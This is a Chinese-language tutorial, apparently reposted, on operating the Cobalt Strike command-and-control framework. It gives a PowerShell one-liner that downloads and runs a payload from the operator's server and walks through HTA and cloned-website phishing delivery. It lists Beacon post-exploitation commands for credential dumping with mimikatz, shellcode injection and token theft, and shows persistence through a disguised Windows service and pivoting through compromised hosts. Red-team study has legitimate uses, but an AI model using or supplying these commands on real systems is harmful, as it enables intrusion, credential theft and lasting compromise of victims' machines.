Cobalt-Strike使用


CS初始化

將CS的安裝包解壓到kali上,CS是通過Java寫的,具有跨平台性,但是需要通過teamserver的啟動器去啟動,而不能直接jar啟動

啟動CS

# 進入文件后,修改權限
chmod 777 ./*

# 添加服務端的IP和密碼,多人協作則是公網IP,端口默認在50050
./teamserver 192.168.223.131 123456

# 啟動CS,需要保持teamserver一直啟動
./cobaltstrike

image

基本Beacon操作

簡單的進行滲透

1.新建Listeners

Cobalt Strike--->Listeners--->Add--->填入Name、Host、設置Payload類型--->save

2.payload設置

Attack--->Web Drive-by--->Scripted Web Delivery(s)--->選擇Listener,類型和是否是64位的payload,獲取payload

3.payload生效

選擇powershell和64位,打開目標機,在其cmd或者powershell上輸入payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.131:80/a'))"

一些選項

external-->外網IP
internal-->內網IP
listener-->監聽者
user-->用戶
computer-->計算機名
process-->執行程序的名字
pid-->執行程序的pid

與beacon(肉雞)進行互動,系統命令前需要加shell,默認回連60s(心跳時間)
右鍵--->interact--->shell whoami

CS模塊介紹

Cobalt Strike

New Connection-->打開新的connect窗口(新建一個連接)
Preferences-->首選項
Visualization-->將主機以不同形式展示(權限執行結果)
VPN Interfaces-->設置VPN接口(多重滲透)
Listeners-->創建監聽器
Script Manager-->查看自己寫的腳本並加載

image

View

applicationss-->被控電腦的應用信息
Credentials-->通過hash dump或者mimikatz獲取的密碼的保存位置
Downloads-->從被控電腦下載的文件保存位置
Event Log-->主機的上線記錄
Keystrokes-->鍵盤記錄
ProxyPivots-->代理模塊
Screenshots-->截圖
Script Console-->執行自己的腳本的控制台
Targets-->顯示目標
Web Log-->顯示web日志

image

Attack

Packages

HTML Application-->基於HTML應用的攻擊載荷
MS Office Macro-->Office宏攻擊
Payload Generator-->payload生成器,可以生成源碼自己執行或修改
Windows Executable-->生成Windows上的32/64位exe或dll的后門程序
Windows Executable(S)-->生成Windows的可執行文件,包含完整的payload,不需要階段性請求,多用於內網環境下設置,支持power shell腳本和代理

image

Web Drive-by

Manage-->管理器,對上線肉雞進行管理
Clone Site-->克隆指定網站的樣式
Host File-->將指定文件夾加載到web
Scripted Web Delivery(S)-->Web攻擊模塊
Signed Applet Attack-->釣魚程序
Smart Applet Attack-->Java跨平台瀏覽器的攻擊,可禁用Java的安全沙盒
System Profiler-->客戶端檢測工具

image

Spear Phish-->釣魚模塊

Reporting

配合Cobalt Strike生成的報告

image

Help

image

工具欄

image

1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於

beacon功能

生成EXE程序,讓目標執行即可

Attacks-->Packages-->Windwos Executable(S)

用戶執行后,右鍵的選項為后滲透模塊

# Interact--->打開互動界面(cmd),通過help可以查看beacon支持的命令
execute notepad--->后台運行記事本
powerpick mkdir 123--->不通過powershell執行命令
powershell-import ./xxx.ps1--->將powershell加載到內存,然后使用powershell加載執行powershell腳本

# Access
Dump Hashes--->獲取密碼的hash值
Elevate--->提權
Make Token--->模擬指定用戶操作,制作令牌
Run Mimikatz--->使用獼猴桃獲取密碼(因系統而異)

# Explore
Brower Pivot--->劫持IE瀏覽器,在目標主機開代理,利用本機瀏覽器劫持目標Cookie實現免密登陸
Desktop(VNC)--->開啟VNC窗口
File Browser--->顯示文件層次
Net View-->查看內網中主機的共享域
Port Scan--->掃描端口
Process List--->查看當前進程信息,並進行操作(結束、刷新、鍵盤記錄、注入進程……)
Screenshot--->截圖

# Pivoting
SOCKS Server--->建立Socks代理(可以在View-->Proxy Pivots中查看),使用Tunnel中的命令可以在使用msf時將流量從此代理引入
Listener--->設置內網監聽

# Spawn--->模塊派發shell,在知道賬號密碼情況下可以將此shell派發給其他攻擊者

# Session
Note--->添加備注
Remove--->從列表中移除(一般是Exit后Remove)
Sleep--->設置心跳時間
Exit--->目標離線

Interact中beacon的全部支持的命令

Command                   Description
 -------                   -----------
 browserpivot              注入受害者瀏覽器進程
 bypassuac                 繞過UAC
 cancel                    取消正在進行的下載
 cd                        切換目錄
 checkin                   強制讓被控端回連一次
 clear                     清除beacon內部的任務隊列
 connect                   Connect to a Beacon peerover TCP
 covertvpn                 部署Covert VPN客戶端
 cp                        復制文件
 dcsync                    從DC中提取密碼哈希
 desktop                   遠程VNC
 dllinject                 反射DLL注入進程
 dllload                   使用LoadLibrary將DLL加載到進程中
 download                  下載文件
 downloads                 列出正在進行的文件下載
 drives                    列出目標盤符
 elevate                   嘗試提權
execute                   在目標上執行程序(無輸出)
 execute-assembly          在目標上內存中執行本地.NET程序
 exit                      退出beacon
 **getprivs                  獲取當前beacon中包含的所有權限,相當於shell whoami /priv**
 **getsystem                 嘗試獲取SYSTEM權限**
 **getuid                    獲取當前用戶是什么權限**
 hashdump                  轉儲密碼哈希值
 help                      幫助
 inject                    在特定進程中生成會話
 jobkill                   殺死一個后台任務
 jobs                      列出后台任務
 kerberos_ccache_use       從ccache文件中導入票據應用於此會話
 kerberos_ticket_purge     清除當前會話的票據
 kerberos_ticket_use       從ticket文件中導入票據應用於此會話
 keylogger                 鍵盤記錄
 kill                      結束進程
 link                      Connect to a Beacon peerover a named pipe
 logonpasswords            使用mimikatz轉儲憑據和哈希值
 ls                        列出文件
 make_token                創建令牌以傳遞憑據
 mimikatz                  運行mimikatz
 mkdir                     創建一個目錄
 mode dns                  使用DNS A作為通信通道(僅限DNS beacon)
 mode dns-txt              使用DNS TXT作為通信通道(僅限D beacon)
 mode dns6                 使用DNS AAAA作為通信通道(僅限DNS beacon)
 mode http                 使用HTTP作為通信通道
 mv                        移動文件
 net                       net命令
 note                      備注      
 portscan                  進行端口掃描
 powerpick                 通過Unmanaged PowerShell執行命令
 powershell                通過powershell.exe執行命令
 powershell-import         導入powershell腳本
 ppid                      Set parent PID forspawned post-ex jobs
 ps                        顯示進程列表
 psexec                    Use a service to spawn asession on a host
 psexec_psh                Use PowerShell to spawn asession on a host
 psinject                  在特定進程中執行PowerShell命令
 pth                       使用Mimikatz進行傳遞哈希
 pwd                       當前目錄位置
 reg                       Query the registry
 rev2self                  恢復原始令牌
 rm                        刪除文件或文件夾
 rportfwd                  端口轉發
 run                       在目標上執行程序(返回輸出)
 runas                     以另一個用戶權限執行程序
 runasadmin                在高權限下執行程序
 runu                      Execute a program underanother PID
 screenshot                屏幕截圖
 setenv                    設置環境變量
 shell                     cmd執行命令
 shinject                  將shellcode注入進程
 shspawn                   生成進程並將shellcode注入其中
 **sleep                     設置睡眠延遲時間**
 socks                     啟動SOCKS4代理
 socks stop                停止SOCKS4
 spawn                     Spawn a session
 spawnas                   Spawn a session as anotheruser
 spawnto                  Set executable tospawn processes into
 spawnu                    Spawn a session underanother PID
 ssh                       使用ssh連接遠程主機
 ssh-key                   使用密鑰連接遠程主機
 steal_token               從進程中竊取令牌
 timestomp                 將一個文件時間戳應用到另一個文件
 unlink                    Disconnect from parentBeacon
 upload                    上傳文件
 wdigest                   使用mimikatz轉儲明文憑據
 winrm                     使用WinRM在主機上生成會話
 wmi                       使用WMI在主機上生成會話
 argue                      進程參數欺騙

有關域的net命令

net localgroup-->添加、顯示或更改本地組
net computer-->從域數據庫中添加或刪除計算機
net dclist-->查看域控
net domain_trusts-->查看域信任
net logons-->當前正在登陸的用戶
net share-->查看共享

Windows權限:guest<user<administrator<system<TrustedInstaller

aggresor腳本

.cna 結尾,Aggressor Script,Sleep語言編寫,通過sleep語言可以對Cobalt Strike進行二次開發

Sleep是一個可以嵌入到Java應用程序的腳本語言。Sleep簡單,易學,易使用,易與程序結合。它的語言語法類似於Perl腳本。Sleep腳本可訪問,創建,查詢Java對象,解析過的腳本可被序列化

數據定義

# 解釋器在 View-->Script Console中
$ = 定義變量
@ = 定義數組
% = 字典

e-->定義
x-->輸出
load-->加載文件(CS中只能加載一次,在jar中可多次執行,通過它來執行程序查看結果)
reload-->重加載,加載的是已加載的cna文件,不帶路徑
ls-->查看加載的文件

# 下載sleep.jar並運行
java -jar sleep.jar

# 聲明數組
@array = @('a1','a2',666);
println(@array[1]);

# 遍歷
array = @('a1','a2',666);
foreach $var (@array){
	println($var);
}

# 字典全輸出
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("%dict is ".%dict);
//dict is %(key1 => 'value1', key2 => 'value2', 1 => 'value3')

# 字典輸出某一個值
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("dict is ".%dict);
//dict is value2

交互式函數

# 輸出內容
println("haha nihao");

# 加載快速指令,command后面為快捷鍵
command w{
	println("You click w");
}
//reload后,按下w,將輸出You click w

# 定義函數和快捷鍵,按下f1同時跟上一個參數會加載fun1函數並帶上參數
sub fun1{
	println("run fun1!!!now $1");
}

command f1{
	fun1($1);
}
//f1 xiaoming--->run fun1!!!now xiaoming

c2客戶端

在此編寫的內容將直接影響Cobalt Strike界面和快捷鍵

# 綁定鍵盤快捷鍵
bind Ctrl+O{
	show_message("This is a alert");
	elog("I am log");
}
//按下Ctrl+O將會出現This is a alert,同時在Event Log里面出現I am log

# 編寫最上面的菜單
popup menu1{
	item("&item1",{url_open("http://www.baidu.com")});
	separator();
	item("&item2",{url_open("http://www.cctv.com")});
}
menubar("My menu","menu1");
//在Cobalt Strike上面創建一個名為My menu的菜單,其中有兩個按鈕item1和item2,分別打開baidu和cctv,menubar是接收菜單的函數,item是其中的按鈕

# 在beacon中創建菜單
popup beacon_bottom{
	menu "attack"{
		item("&item1",{url_open("http://www.baidu.com")});
		item("&item2",{show_message("yes")})
	}
}
//在右鍵的beacon中出現attack選項,有item1和item2兩個按鈕,分別打開百度和彈窗yes

可以上Github下載大佬的cna代碼,load進去即可;或者下載后學習如何編寫

c2中所有的數據模型

target       存儲的目標信息               顯示上線過的主機信息
archives     顯示最近的信息               顯示最近的輸出信息
beacons      顯示所有的受感染的主機信息    顯示在線和上線過的主機
credentials  顯示憑據信息                 我們抓取過的密碼信息和制作的票據信息
downloads    顯示下載信息                 顯示我們在受控端下載的信息
keystrokes   記錄鍵盤輸入                 當我們選擇進程記錄鍵盤的時候,會將得到的鍵盤信息記錄下來
screenshots  屏幕截圖顯示                 顯示我們截圖的二進制信息流
sites        托管的資產                   看起來是我們創建的監聽的端口個Stager回連的端口

通過協同aggressor的結果寫程序

# 顯示目標的數據,其數據是@(%())的形式,即外面數組,包着字典
x targets()
# 單獨索引想要的數據
x targets()[0]['name']
# 打印所有的監聽器
printAll(listeners());
# 顯示被感染主機更詳細信息(掛馬的信息)
x beacons()

# 通過showme快捷鍵查看第一個主機的IP和OS
command showme{
	println("IP address is: ".targets()[$1]["address"]."\n OS is: ".targets()[$1]["os"]);
}

HTML Application和clonesite

HTML Application

# 生成hta文件
Packages-->HTML Application,生成evil.hta,可以在網頁上加載它

# 生成地址
Attacks-->Web Drive-by-->Host File,將Local URI也改成evil.hta
http://192.168.223.131:80/download/evil.hta
# 讓目標訪問此頁面,會彈出文件操作,可以對其進行靜默操作后台打開,可以上線

clonesite

# 克隆網站,如果在內網可以配合ARP,出現偽造網頁
Attack-->Web Drive-by-->Clone Site,填入克隆網站為http://www.baidu.com,保存地址為bd,Attack選擇evil,然后可以根據需要選擇是否需要鍵盤記錄
http://192.168.223.131:80/bd
# 目標點開假百度后彈出下載文件,后續同上

服務權限維持

控制對方后,文件保存在內存中,無法刪除且重啟消失,遲早被發現,要做持久化

1.生成exe文件

Attacks—>Packages—>Windows Executable(S)—>設置監聽,Windows Service EXE,Use x64 payload

2.上傳文件

在Beacon界面進入 C:\windows\temp 目錄,上次木馬 upload /root/beacon.exe

3.服務關聯

shell sc create "thisserver" binpath=c:\windows\temp\beacon.exe 

前面是服務名后面是服務主程序路徑

4.服務偽裝

shell description "thisserver" "zhe shi fu wu"

前面是服務名后面是服務描述

5.設置服務自啟動

shell sc config "thisserver" start=auto

6.服務啟動

shell net start "thisserver"

多層連接

多層正向連接

黑客在外網的IP在內網中由於沒有路由,無法進入內部服務器,需要通過外網的服務器作為中介找到內網服務器

hack(192.168.1.186)——(192.168.1.231)server1(172.16.214.140)——(172.16.214.141)server2

1.設置監聽器

在原有控制的監聽器基礎上——Add——Beacon TCP,取名server1

2.在server1的監聽上生成木馬文件

Attacks—>Packages—>Windows Executable(S)——>選擇server1監聽,Windows Service EXE,Use x64 payload,生成木馬

3.正向連接

讓內網目標執行,使用server1作為中間人正向連接

connect 172.16.214.141

多層反向連接

反向連接規避防火牆,防火牆會進行追殺

1.設置監聽器

對中間人右鍵—>Pivoting—>Listener,取名server1,中間人的server1可以作為黑客的轉發器

2.生成木馬文件

Attacks—>Packages—>Windows Executable(S)—>選擇server1監聽,Windows Service EXE,Use x64 payload,生成木馬

3.發送到目標主機即可反向連接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM